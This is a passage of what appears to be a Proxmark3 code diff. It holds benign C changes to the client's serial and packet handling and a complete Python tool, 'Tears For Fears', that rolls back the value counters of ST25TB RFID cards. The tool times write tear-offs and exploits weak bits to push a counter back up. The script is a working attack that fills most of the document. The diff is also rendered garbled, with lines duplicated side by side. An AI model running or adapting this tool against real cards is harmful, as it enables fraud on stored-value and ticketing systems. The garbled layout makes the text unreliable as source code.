# if COUNTER2 is not None:
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
if SWAP is not None:
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
'''
USAGE
-----
No real documentation about Usage
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
'''
if not Usage_A_DAT.isEmpty():
print() print()
print('USAGE') print('USAGE_A')
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
if not Usage_B_DAT.isEmpty():
print()
print('USAGE_B')
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
print(' left... :', Usage_left);
print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
return 0 return 0

View file

@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
txBufferNG.pre.ng = ng; txBufferNG.pre.ng = ng;
txBufferNG.pre.length = len; txBufferNG.pre.length = len;
txBufferNG.pre.cmd = cmd; txBufferNG.pre.cmd = cmd;
if (len > 0 && data) if (len > 0 && data) {
memcpy(&txBufferNG.data, data, len); memcpy(&txBufferNG.data, data, len);
}
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) { if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
uint8_t first = 0, second = 0; uint8_t first = 0, second = 0;
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) { if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
rx.magic = rx_raw.pre.magic; rx.magic = rx_raw.pre.magic;
uint16_t length = rx_raw.pre.length; uint16_t length = rx_raw.pre.length;
rx.ng = rx_raw.pre.ng; rx.ng = rx_raw.pre.ng;
rx.status = rx_raw.pre.status; rx.status = rx_raw.pre.status;
rx.cmd = rx_raw.pre.cmd; rx.cmd = rx_raw.pre.cmd;
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
if (length > PM3_CMD_DATA_SIZE) { if (length > PM3_CMD_DATA_SIZE) {
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
if ((!error) && (length > 0)) { // Get the variable length payload if ((!error) && (length > 0)) { // Get the variable length payload
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
if ((res != PM3_SUCCESS) || (rxlen != length)) { if ((res != PM3_SUCCESS) || (rxlen != length)) {
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length); PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
error = true; error = true;
} else { } else {
if (rx.ng) { // Received a valid NG frame if (rx.ng) { // Received a valid NG frame
memcpy(&rx.data, &rx_raw.data, length); memcpy(&rx.data, &rx_raw.data, length);
rx.length = length; rx.length = length;
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) { if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
ACK_received = true; ACK_received = true;
} }
} else { } else {
uint64_t arg[3]; uint64_t arg[3];
if (length < sizeof(arg)) { if (length < sizeof(arg)) {
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
} }
if (!error) { // Received a valid MIX frame if (!error) { // Received a valid MIX frame
memcpy(arg, &rx_raw.data, sizeof(arg)); memcpy(arg, &rx_raw.data, sizeof(arg));
rx.oldarg[0] = arg[0]; rx.oldarg[0] = arg[0];
rx.oldarg[1] = arg[1]; rx.oldarg[1] = arg[1];
rx.oldarg[2] = arg[2]; rx.oldarg[2] = arg[2];
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg)); memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
rx.length = length - sizeof(arg); rx.length = length - sizeof(arg);
if (rx.cmd == CMD_ACK) { if (rx.cmd == CMD_ACK) {
ACK_received = true; ACK_received = true;
} }
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
} }
} }
} else if ((!error) && (length == 0)) { // we received an empty frame } else if ((!error) && (length == 0)) { // we received an empty frame
if (rx.ng)
if (rx.ng) {
rx.length = 0; // set received length to 0 rx.length = 0; // set received length to 0
else { // old frames can't be empty } else { // old frames can't be empty
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)"); PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
error = true; error = true;
} }
} }
if (!error) { // Get the postamble if (!error) { // Get the postamble
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
if (!error) { // Check CRC, accept MAGIC as placeholder if (!error) { // Check CRC, accept MAGIC as placeholder
rx.crc = rx_raw.foopost.crc; rx.crc = rx_raw.foopost.crc;
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) { if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
uint8_t first, second; uint8_t first, second;
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second); compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
if ((first << 8) + second != rx.crc) { if ((first << 8) + second != rx.crc) {
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc); PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
error = true; error = true;

View file

@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
return INVALID_SERIAL_PORT; return INVALID_SERIAL_PORT;
} }
// Flush all lingering data that may exist
tcflush(sp->fd, TCIOFLUSH);
// Duplicate the (old) terminal info struct // Duplicate the (old) terminal info struct
sp->tiNew = sp->tiOld; sp->tiNew = sp->tiOld;
// Configure the serial port // Configure the serial port.
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD; // fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
sp->tiNew.c_iflag = IGNPAR; sp->tiNew.c_iflag = IGNPAR;
sp->tiNew.c_oflag = 0; sp->tiNew.c_oflag = 0;
sp->tiNew.c_lflag = 0; sp->tiNew.c_lflag = 0;
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
// Block until a timer expires (n * 100 mSec.) // Block until a timer expires (n * 100 mSec.)
sp->tiNew.c_cc[VTIME] = 0; sp->tiNew.c_cc[VTIME] = 0;
// more configurations
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
sp->tiNew.c_cc[VERASE] = 0; /* del */
sp->tiNew.c_cc[VKILL] = 0; /* @ */
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
// Try to set the new terminal info struct // Try to set the new terminal info struct
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) { if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
PrintAndLogEx(ERR, "error: UART set terminal info attribute"); PrintAndLogEx(ERR, "error: UART set terminal info attribute");
@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
// Set port speed (Input and Output) // Set port speed (Input and Output)
cfsetispeed(&ti, stPortSpeed); cfsetispeed(&ti, stPortSpeed);
cfsetospeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed);
// flush
tcflush(spu->fd, TCIOFLUSH);
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
if (result) if (result) {
g_conn.uart_speed = uiPortSpeed; g_conn.uart_speed = uiPortSpeed;
}
return result; return result;
} }

View file

@ -0,0 +1,553 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#+---------------------------------------------------------------------------+
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
#+---------------------------------------------------------------------------+
#| Copyright (C) Pierre Granier - 2024 |
#| |
#| This program is free software: you can redistribute it and/or modify |
#| it under the terms of the GNU General Public License as published by |
#| the Free Software Foundation, either version 3 of the License, or |
#| (at your option) any later version. |
#| |
#| This program is distributed in the hope that it will be useful, |
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
#| GNU General Public License for more details. |
#| |
#| You should have received a copy of the GNU General Public License |
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
#+---------------------------------------------------------------------------+
#
# Ref:
# https://gitlab.com/SiliconOtter/tears4fears
#
import argparse
from queue import Queue, Empty
import re
from subprocess import Popen, PIPE
from time import sleep
from threading import Thread
PM3_SUBPROC = None
PM3_SUBPROC_QUEUE = None
class colors:
reset = '\033[0m'
bold = '\033[01m'
disable = '\033[02m'
underline = '\033[04m'
reverse = '\033[07m'
strikethrough = '\033[09m'
invisible = '\033[08m'
purple = '\033[35m'
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
lightred = '\033[91m'
lightgreen = '\033[92m'
lightblue = '\033[94m'
def main():
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
parser = argparse.ArgumentParser()
parser.add_argument("-s",
"--strat",
type=int,
nargs="?",
const="1",
default="1",
dest="strategy",
help="Strategy to use (default 1)")
parser.add_argument("-b",
"--block",
type=int,
nargs="?",
const="-1",
default="-1",
required=True,
dest="target_block",
help="Target Block")
parser.add_argument("-p",
"--pm3-client",
type=str,
default="pm3",
dest="pm3_path",
help="pm3 client path")
args = parser.parse_args()
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
PM3_SUBPROC_QUEUE = Queue()
thread = Thread(target=enqueue_output,
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
thread.start()
if args.target_block != -1:
tear_for_fears(args.target_block, args.strategy)
else:
parser.error("--block is required ")
sub_com('exit')
thread.join()
def enqueue_output(out, queue):
"""Continuously read PM3 client stdout and fill a global queue
Args:
out: stdout of PM3 client
queue: where to push "out" content
"""
for line in iter(out.readline, b""):
queue.put(line)
out.close()
def sub_com(command, func=None, sleep_over=0):
"""Send command to aPM3 client
Args:
command: String of the command to send
func: hook for a parsing function on the pm3 command end
Returns:
result of the hooked function if any
"""
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
result = None
sleep(sleep_over)
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
if func:
while not result:
try:
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
except Empty:
PM3_SUBPROC.stdin.write(bytes(
(command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
return result
def set_space(space):
"""Placeholder for instrumentalization or do it manually
Args:
space: distance needed
Returns:
"""
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
def parse_rdbl(str_to_parse):
"""Return a list of str of a block from pm3 output
Uses `rbdl` in pm3 client
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
if tmp:
# print(tmp)
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
return None
def parse_UID(str_to_parse):
"""Return a card UID from pm3 output
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
if tmp:
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
return None
def slist_to_int(list_source):
"""Return the int value associated to a bloc list of string
Args:
list_source: list to convert
Returns:
represented int
"""
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
def int_to_slist(src):
"""Return the list of string from the int value associated to a block
Args:
src: int to convert
Returns:
list of string
"""
list_dest = list()
for i in range(4):
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
return list_dest
def ponderated_read(b_num, repeat_read, sleep_over):
"""read a few times a block and give a pondered dictionary
Args:
b_num: block number to read
Returns:
dictionary (key: int, value: number of occurrences)
"""
weight_r = dict()
for _ in range(repeat_read):
# sleep_over=0 favorize read at 0
# (and allow early discovery of weak bits)
result = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}",
parse_rdbl,
sleep_over=sleep_over))
if result in weight_r:
weight_r[result] += 1
else:
weight_r[result] = 1
return weight_r
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
"""
Args:
b_num: block number
stop: last tearing timing
"""
# Sending RAW writes because `wrbl` spend additionnal time checking success
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
set_space(1)
dic = ponderated_read(b_num, repeat_read, sleep_over)
for value, occur in dic.items():
indic = colors.reset
if value > original_value:
indic = colors.purple
elif value < original_value:
indic = colors.lightblue
print(
f"{(occur / repeat_read) * 100} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
target = max(dic)
read_back = 0
# There is no ACK for write so we use a read to check distance coherence
if target > (original_value):
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
f"\nKeep card at the max distance from the reader.\n")
while (read_back != (target - 1)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 1)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
while (read_back != (target - 2)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 2)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
set_space(0)
def strat_1_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 1 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 30
# Check for leverageable bits positions,
# Start from bit 32, while their is no bit at 1 decrement position
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable pair of bits at 1,
# While their is bits at 1, decrement position
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
return (trigger_value, payload_value)
def strat_2_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 2 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 31
# Check for leverageable bit position,
# Start from bit 32, while their is no bit at 1 decrement position
while not (original_value & (0b1 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable bit at 1,
# While their is bits at 1, decrement position
while (original_value & (0b1 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
return (trigger_value, payload_value)
def tear_for_fears(b_num, strategy):
"""try to roll back `b_num` counter using `strategy`
Args:
b_num: block number
"""
################################################################
######### You may want to play with theses parameters #########
start_taring_delay = 130
repeat_read = 8
repeat_write = 5
sleep_quick = 0
sleep_long = 0.3
################################################################
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
tmp = ponderated_read(b_num, repeat_read, sleep_long)
original_value = max(tmp, key=tmp.get)
if strategy == 1:
leverageable_values = strat_1_values(original_value)
else:
leverageable_values = strat_2_values(original_value)
if leverageable_values is None:
print(
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
return
else:
(trigger_value, payload_value) = leverageable_values
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
f" : { bin(trigger_value)[2:].zfill(32)}")
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
f" : { bin(payload_value)[2:].zfill(32)}\n")
print(
f"{colors.bold}Color coding :{colors.reset}\n"
f"{colors.reset}\tValue we started with{colors.reset}\n"
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
f"{colors.purple}\tAbove initial value {colors.reset}")
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
return
trigger_flag = False
payload_flag = False
t4fears_flag = False
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
tear_us = start_taring_delay
while not trigger_flag:
for _ in range(repeat_write):
if t4fears_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
if trigger_flag:
break
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
trigger_flag = True
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
# Here we want 100% chance of having primed one sub-counter
# The logic is inverted for payload
if value > original_value:
indic = colors.purple
t4fears_flag = True
trigger_flag = False
elif value == trigger_value:
indic = colors.green
elif value < original_value:
indic = colors.lightblue
else:
trigger_flag = False
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
tear_us = start_taring_delay
while True:
for _ in range(repeat_write):
if payload_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
tmp = ponderated_read(b_num, repeat_read, sleep_long)
if max(tmp, key=tmp.get) > original_value:
print(f"{colors.bold}Success ! {colors.reset}")
return
else:
payload_flag = False
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
if value > original_value:
indic = colors.purple
payload_flag = True
elif value == payload_value:
indic = colors.green
payload_flag = True
elif value < trigger_value:
indic = colors.lightblue
elif value > trigger_value:
indic = colors.lightred
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
if __name__ == "__main__":
main()